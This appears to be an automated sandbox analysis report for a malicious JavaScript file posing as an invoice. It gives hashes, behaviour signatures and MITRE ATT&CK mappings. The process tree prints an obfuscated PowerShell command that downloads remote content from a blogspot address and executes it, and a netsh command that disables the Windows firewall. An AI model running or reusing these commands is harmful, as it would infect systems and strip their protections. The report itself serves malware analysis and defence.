Analysis
-
max time kernel
126s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
-
submitted
01-12-2023 09:17
General
-
Target
invoice 2566246817.js
-
Size
106KB
-
MD5
fc6d7a11059fee2eda2bab5e4c82c839
-
SHA1
9907895c521bddd02573ca5e361490f017932dbe
-
SHA256
39afb67d0916e6761f7604cb65ebdb1c115f24e62d9b122c0137b46215a0b00c
-
SHA512
1e820c22e9cbd0f360b7187eb8062089ead22cfd1a62e0e47450523659b841bf37278ddfd530c4792529d88145ceb1ff88389d541fda9e68d9c127ba5579fb39
-
SSDEEP
384:boJdyttnpXrov4gPyjjF/9sui+1VaEEEfEfffEfEffESxyOVYZPjcrdRoDT/8W8z:kS5W
Malware Config
Signatures
-
UAC bypass 3 TTPs 1 IoCs
-
Blocklisted process makes network request 2 IoCs
-
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Registers COM server for autorun 1 TTPs 2 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of SetThreadContext 3 IoCs
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 4 IoCs
-
Modifies registry class 3 IoCs
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 38 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice 2566246817.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c $((irm hotelofficeewn.blogspot.com////////////////////////////////////atom.xml) | .('{1}{0}'-f'kasokdaoskdoaksodkasodkaoskdoaksdoaksod','I').replace('kasokdaoskdoaksodkasodkaoskdoaksdoaksod','ex'))2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mixyktev\mixyktev.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB91E.tmp" "c:\Users\Admin\AppData\Local\Temp\mixyktev\CSCE933ADABE69543CF92F0E4F6AA34CC2.TMP"4⤵
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue3⤵
- Modifies Windows Firewall
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD566abf638c5ccd0047a1314d5d5ab780d
SHA1fbd19a1592b3128d46f72b062f2271ba0124db45
SHA25675b699fb3022c7a8f60d0796d38e1e2441b7b290a6179d0abc03f883290c200b
SHA51220d0ac09424150f532be770e1d4295cd208d1f9087b20a3942d881737b02a68af8d27e35c4cb8017acd3f9021d698682f602cc671cd2ea26debc754f76a6ab83
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3KB
MD5da689ab71c463204626c96d640fdd04f
SHA1e6d7c707aa8c7b8ff6d9a77d3b65b1fad1d0f550
SHA256c7b75985e44ffca76c0a3a1247b2569e476af0ce5cca114318283229730972aa
SHA5120536c184b239c88fdb1422e3409edbc1cd81d9739f98bf4d33a56e0b494c4504286b67c56d7be76af577d5b4471a582108c86eaeb0e30329db3631f63ae19c87
-
Filesize
652B
MD5417065c8c5b1106de9c84336bb6b03ec
SHA185a6c30a9ceb62c249e6f3fbfa61e4b37e362343
SHA256ece8dffe480f09704ad8e54c9ae69f9d14443d1473d782051417a8cff86870fe
SHA5127246308b0b73474db7f7251f62630aef158b29c155db1f292c512bee8565cebb9a0a384d521533d1bcf25dc322af6e6f40dfd4f51916682f125df87f54272d08
-
Filesize
870B
MD5e06ebf853695db38aaac82c9af297ae4
SHA1ef98bacec5ac2ae3bf24aac8ed56935a25c1f064
SHA25679c1099bad1dccb1d151887071b8e8b5d679de343903895fa28e45b791cae344
SHA512036449d932066d506a6bd7c08df311bf1ed5e7b3595004941fe1c39a8e9f9b0d08d43b33a180d4851f88d49c98a17b05cf5235858ada611306fc602cfd582759
-
Filesize
369B
MD59bf3a3b86fcaca993083bdb0bab8af5d
SHA148b4a62becb3e697ce521bef74899a592ed6941d
SHA256fbde79f5aa06ac3ac12e7393d7dfded6300fde0239306868f2dfd98af8628193
SHA512a0bf940ee8ee8f591167b1ffdf5b8cb2f387be8b1f3a152a5e0f69c9beee52094127203db99d473a4c47090dca4f7bd4ca42ee66f37d018b31fcc1162699d5c1
-
Filesize
584KB
-
Filesize
7.7MB
-
Filesize
320KB
-
Filesize
408KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
5.6MB
-
Filesize
40KB
-
Filesize
432KB
-
Filesize
7.7MB
-
Filesize
432KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
104KB
-
Filesize
56KB
-
Filesize
1.8MB
-
Filesize
32KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
64KB
-
Filesize
5.7MB